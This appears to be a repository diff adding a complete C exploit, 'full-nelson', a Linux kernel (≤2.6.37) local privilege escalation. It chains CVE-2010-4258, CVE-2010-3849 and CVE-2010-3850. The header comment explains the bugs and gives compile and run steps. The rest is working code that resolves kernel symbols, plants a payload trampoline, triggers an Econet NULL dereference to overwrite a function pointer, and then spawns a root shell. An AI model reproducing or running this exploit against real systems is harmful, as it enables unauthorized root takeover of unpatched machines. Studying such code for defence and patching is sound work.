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‎CVE-2010-4258/exploit.c‎
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‎CVE-2010-4258/exploit.c‎
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+/*
+ * Linux Kernel <= 2.6.37 local privilege escalation
+ * by Dan Rosenberg
+ * @djrbliss on twitter
+ *
+ * Usage:
+ * gcc full-nelson.c -o full-nelson
+ * ./full-nelson
+ *
+ * This exploit leverages three vulnerabilities to get root, all of which were
+ * discovered by Nelson Elhage:
+ *
+ * CVE-2010-4258
+ * -------------
+ * This is the interesting one, and the reason I wrote this exploit.  If a
+ * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
+ * word will be written to a user-specified pointer when that thread exits.
+ * This write is done using put_user(), which ensures the provided destination
+ * resides in valid userspace by invoking access_ok().  However, Nelson
+ * discovered that when the kernel performs an address limit override via
+ * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
+ * etc.), this override is not reverted before calling put_user() in the exit
+ * path, allowing a user to write a NULL word to an arbitrary kernel address.
+ * Note that this issue requires an additional vulnerability to trigger.
+ *
+ * CVE-2010-3849
+ * -------------
+ * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
+ * fairly benign as a local denial-of-service.  It's a perfect candidate to
+ * trigger the above issue, since it's reachable via sock_no_sendpage(), which
+ * subsequently calls sendmsg under KERNEL_DS.
+ *
+ * CVE-2010-3850
+ * -------------
+ * I wouldn't be able to reach the NULL pointer dereference and trigger the
+ * OOPS if users weren't able to assign Econet addresses to arbitrary
+ * interfaces due to a missing capabilities check.
+ *
+ * In the interest of public safety, this exploit was specifically designed to
+ * be limited:
+ *
+ *  * The particular symbols I resolve are not exported on Slackware or Debian
+ *  * Red Hat does not support Econet by default
+ *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
+ *    Debian
+ *
+ * However, the important issue, CVE-2010-4258, affects everyone, and it would
+ * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
+ * more sophisticated version of this that doesn't have the roadblocks I put in
+ * to prevent abuse by script kiddies.
+ *
+ * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
+ *
+ * NOTE: the exploit process will deadlock and stay in a zombie state after you
+ * exit your root shell because the Econet thread OOPSes while holding the
+ * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
+ *
+ * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
+ */
+
+// EDB-Note: You may need to add  '#define _GNU_SOURCE' to compile in later versions 
+
+#include <stdio.h>
+#include <sys/socket.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <string.h>
+#include <net/if.h>
+#include <sched.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <sys/utsname.h>
+#include <sys/mman.h>
+#include <unistd.h>
+
+/* How many bytes should we clear in our
+ * function pointer to put it into userspace? */
+#ifdef __x86_64__
+#define SHIFT 24
+#define OFFSET 3
+#else
+#define SHIFT 8
+#define OFFSET 1
+#endif
+
+/* thanks spender... */
+unsigned long get_kernel_sym(char *name)
+{
+        FILE *f;
+        unsigned long addr;
+        char dummy;
+        char sname[512];
+        struct utsname ver;
+        int ret;
+        int rep = 0;
+        int oldstyle = 0;
+
+        f = fopen("/proc/kallsyms", "r");
+        if (f == NULL) {
+                f = fopen("/proc/ksyms", "r");
+                if (f == NULL)
+                        goto fallback;
+                oldstyle = 1;
+        }
+
+repeat:
+        ret = 0;
+        while(ret != EOF) {
+                if (!oldstyle)
+                        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
+                else {
+                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
+                        if (ret == 2) {
+                                char *p;
+                                if (strstr(sname, "_O/") || strstr(sname, "_S."))
+                                        continue;
+                                p = strrchr(sname, '_');
+                                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
+                                        p = p - 4;
+                                        while (p > (char *)sname && *(p - 1) == '_')
+                                                p--;
+                                        *p = '\0';
+                                }
+                        }
+                }
+                if (ret == 0) {
+                        fscanf(f, "%s\n", sname);
+                        continue;
+                }
+                if (!strcmp(name, sname)) {
+                        fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : 
+"");
+                        fclose(f);
+                        return addr;
+                }
+        }
+
+        fclose(f);
+        if (rep)
+                return 0;
+fallback:
+        uname(&ver);
+        if (strncmp(ver.release, "2.6", 3))
+                oldstyle = 1;
+        sprintf(sname, "/boot/System.map-%s", ver.release);
+        f = fopen(sname, "r");
+        if (f == NULL)
+                return 0;
+        rep = 1;
+        goto repeat;
+}
+
+typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
+typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
+_commit_creds commit_creds;
+_prepare_kernel_cred prepare_kernel_cred;
+
+static int __attribute__((regparm(3)))
+getroot(void * file, void * vma)
+{
+
+        commit_creds(prepare_kernel_cred(0));
+        return -1;
+
+}
+
+/* Why do I do this?  Because on x86-64, the address of
+ * commit_creds and prepare_kernel_cred are loaded relative
+ * to rip, which means I can't just copy the above payload
+ * into my landing area. */
+void __attribute__((regparm(3)))
+trampoline()
+{
+
+#ifdef __x86_64__
+        asm("mov $getroot, %rax; call *%rax;");
+#else
+        asm("mov $getroot, %eax; call *%eax;");
+#endif
+
+}
+
+/* Triggers a NULL pointer dereference in econet_sendmsg
+ * via sock_no_sendpage, so it's under KERNEL_DS */
+int trigger(int * fildes)
+{
+        int ret;
+        struct ifreq ifr;
+
+        memset(&ifr, 0, sizeof(ifr));
+        strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
+
+        ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
+
+        if(ret < 0) {
+                printf("[*] Failed to set Econet address.\n");
+                return -1;
+        }
+
+        splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
+        splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
+
+        /* Shouldn't get here... */
+        exit(0);
+}
+
+int main(int argc, char * argv[])
+{
+        unsigned long econet_ops, econet_ioctl, target, landing;
+        int fildes[4], pid;
+        void * newstack, * payload;
+
+        /* Create file descriptors now so there are two
+           references to them after cloning...otherwise
+           the child will never return because it
+           deadlocks when trying to unlock various
+           mutexes after OOPSing */
+        pipe(fildes);
+        fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
+        fildes[3] = open("/dev/zero", O_RDONLY);
+
+        if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
+                printf("[*] Failed to open file descriptors.\n");
+                return -1;
+        }
+
+        /* Resolve addresses of relevant symbols */
+        printf("[*] Resolving kernel addresses...\n");
+        econet_ioctl = get_kernel_sym("econet_ioctl");
+        econet_ops = get_kernel_sym("econet_ops");
+        commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
+        prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
+
+        if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
+                printf("[*] Failed to resolve kernel symbols.\n");
+                return -1;
+        }
+
+        if(!(newstack = malloc(65536))) {
+                printf("[*] Failed to allocate memory.\n");
+                return -1;
+        }
+
+        printf("[*] Calculating target...\n");
+        target = econet_ops + 10 * sizeof(void *) - OFFSET;
+
+        /* Clear the higher bits */
+        landing = econet_ioctl << SHIFT >> SHIFT;
+
+        payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
+                       PROT_READ | PROT_WRITE | PROT_EXEC,
+                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
+
+        if ((long)payload == -1) {
+                printf("[*] Failed to mmap() at target address.\n");
+                return -1;
+        }
+
+        memcpy((void *)landing, &trampoline, 1024);
+
+        clone((int (*)(void *))trigger,
+              (void *)((unsigned long)newstack + 65536),
+              CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
+              &fildes, NULL, NULL, target);
+
+        sleep(1);
+
+        printf("[*] Triggering payload...\n");
+        ioctl(fildes[2], 0, NULL);
+
+        if(getuid()) {
+                printf("[*] Exploit failed to get root.\n");
+                return -1;
+        }
+
+        printf("[*] Got root!\n");
+        execl("/bin/sh", "/bin/sh", NULL);
+}